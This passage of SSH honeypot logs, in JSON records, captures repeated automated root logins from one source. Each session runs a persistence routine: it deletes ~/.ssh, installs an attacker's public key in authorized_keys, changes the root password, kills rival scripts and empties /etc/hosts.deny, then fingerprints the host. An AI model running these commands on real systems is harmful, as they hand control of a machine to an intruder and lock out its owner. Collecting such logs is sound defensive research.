.ssh"},{"seq":2,"at":"2026-08-27T02:26:38.660682+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T02:26:44.212449+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T02:26:44.758413+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T02:26:45.278735+00:00","kind":"input","latency_ms":null,"data":"echo \"root:9IrdI8sIQ1wN\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T02:26:45.798783+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T02:26:46.325189+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T02:26:46.985872+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T02:26:47.510230+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T02:26:48.968945+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T02:26:49.502314+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T02:26:50.337511+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T02:26:50.858407+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T02:26:51.644353+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T02:26:52.164687+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T02:26:52.902352+00:00","kind":"output","latency_ms":null,"data":" 02:26:52 up 6 days, 23:16, 0 user, load average: 0.22, 0.27, 0.18\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T02:26:53.420787+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T02:26:54.116181+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T02:26:54.659432+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T02:26:55.146092+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T02:26:55.669759+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T02:26:56.550874+00:00","kind":"output","latency_ms":null,"data":"top - 02:26:56 up 6 days, 23:17, 0 user, load average: 0.22, 0.27, 0.18\nTasks: 122 total, 1 running, 121 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T02:26:57.073833+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T02:26:57.726674+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T02:26:58.247338+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T02:26:58.555614+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T02:26:59.077238+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T02:26:59.684740+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T02:27:00.212635+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T02:27:01.480800+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T02:27:02.182261+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T02:27:03.408947+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Zxcv@123","method":"password","accepted":true,"tier":"other"}]} {"id":"eb077dd9-d37c-4314-ba6d-ceb3d85437a3","name":"gritty-bold-walrus","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":59286,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":551,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T02:17:40.565599+00:00","ended_at":"2026-08-27T02:17:41.267934+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T02:17:22.435759+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T02:17:22.983548+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T02:17:30.386229+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T02:17:30.388343+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T02:17:30.931844+00:00","kind":"input","latency_ms":null,"data":"echo \"root:ON0bC2b0QEr0\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T02:17:31.495165+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T02:17:32.049684+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T02:17:32.050483+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T02:17:32.600234+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T02:17:33.134169+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T02:17:33.688340+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T02:17:34.245005+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T02:17:34.798329+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T02:17:34.799456+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T02:17:35.351073+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T02:17:35.351483+00:00","kind":"output","latency_ms":null,"data":" 02:17:35 up 6 days, 23:07, 0 user, load average: 0.02, 0.03, 0.02\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T02:17:35.905397+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T02:17:35.905822+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T02:17:36.457183+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T02:17:36.457801+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T02:17:37.012747+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T02:17:37.013276+00:00","kind":"output","latency_ms":null,"data":"top - 02:17:37 up 6 days, 23:07, 0 user, load average: 0.02, 0.03, 0.02\nTasks: 122 total, 1 running, 121 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9691 free, 6196 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T02:17:37.562986+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T02:17:37.563399+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T02:17:38.107215+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T02:17:38.107752+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T02:17:38.660198+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T02:17:38.660642+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T02:17:39.232486+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T02:17:39.771393+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T02:17:40.566285+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T02:17:41.086408+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Admin@007","method":"password","accepted":true,"tier":"other"}]} {"id":"57779227-83e8-43a5-81d7-75cd3369efbb","name":"glacial-hearty-godwit","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":46424,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":560,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T02:03:29.032587+00:00","ended_at":"2026-08-27T02:03:30.102092+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T02:02:59.808131+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T02:03:00.410210+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T02:03:09.834830+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T02:03:10.652168+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T02:03:11.229306+00:00","kind":"input","latency_ms":null,"data":"echo \"root:b16ocHkGsD1F\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T02:03:11.808855+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T02:03:12.390099+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T02:03:13.090007+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T02:03:13.650389+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T02:03:14.800604+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T02:03:15.358342+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T02:03:16.497721+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T02:03:17.064410+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T02:03:17.886220+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T02:03:18.843066+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T02:03:19.501755+00:00","kind":"output","latency_ms":null,"data":" 02:03:19 up 6 days, 22:53, 0 user, load average: 0.02, 0.02, 0.02\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T02:03:20.057069+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T02:03:20.505103+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T02:03:21.208303+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T02:03:21.539336+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T02:03:22.102959+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T02:03:22.678399+00:00","kind":"output","latency_ms":null,"data":"top - 02:03:22 up 6 days, 22:53, 0 user, load average: 0.02, 0.02, 0.02\nTasks: 111 total, 1 running, 110 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9056 free, 6831 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T02:03:23.236707+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T02:03:23.797029+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T02:03:24.349326+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T02:03:24.718415+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T02:03:25.561502+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T02:03:26.437385+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T02:03:26.995187+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T02:03:28.483531+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T02:03:29.033542+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T02:03:29.929082+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"aabbcc123","method":"password","accepted":true,"tier":"other"}]} {"id":"3c91960f-9386-47a0-ac2e-315e750291ea","name":"coral-salty-bowerbird","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":59792,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":543,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T02:00:16.565060+00:00","ended_at":"2026-08-27T02:00:17.631058+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T01:59:49.157053+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T01:59:49.702786+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T01:59:59.415566+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T02:00:00.118198+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T02:00:00.660030+00:00","kind":"input","latency_ms":null,"data":"echo \"root:1GTz8Wf9dGpl\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T02:00:01.208746+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T02:00:01.744334+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T02:00:02.175631+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T02:00:02.772854+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T02:00:04.065685+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T02:00:04.612097+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T02:00:05.621336+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T02:00:06.163868+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T02:00:06.541424+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T02:00:07.078702+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T02:00:07.673933+00:00","kind":"output","latency_ms":null,"data":" 02:00:07 up 6 days, 22:50, 0 user, load average: 0.33, 0.34, 0.33\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T02:00:08.217612+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T02:00:09.065375+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T02:00:09.614200+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T02:00:10.275958+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T02:00:10.819176+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T02:00:11.098067+00:00","kind":"output","latency_ms":null,"data":"top - 02:00:11 up 6 days, 22:50, 0 user, load average: 0.33, 0.34, 0.33\nTasks: 113 total, 1 running, 112 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7944 free, 7944 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T02:00:11.646726+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T02:00:12.318341+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T02:00:12.859315+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T02:00:13.261139+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T02:00:13.819668+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T02:00:14.509395+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T02:00:15.044341+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T02:00:16.022779+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T02:00:16.566172+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T02:00:17.462717+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"hb123456","method":"password","accepted":true,"tier":"other"}]} {"id":"5f84b496-5c89-47c9-b585-87bbb34b6e9b","name":"rugged-idle-chamois","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":42640,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":515,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T01:57:01.767425+00:00","ended_at":"2026-08-27T01:57:02.861508+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2302,"events":[{"seq":1,"at":"2026-08-27T01:56:34.543771+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T01:56:35.109880+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T01:56:44.971022+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T01:56:45.399876+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T01:56:45.912190+00:00","kind":"input","latency_ms":null,"data":"echo \"root:5JZGwnk08mjc\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T01:56:46.478957+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T01:56:46.993207+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T01:56:47.303777+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T01:56:47.825986+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, 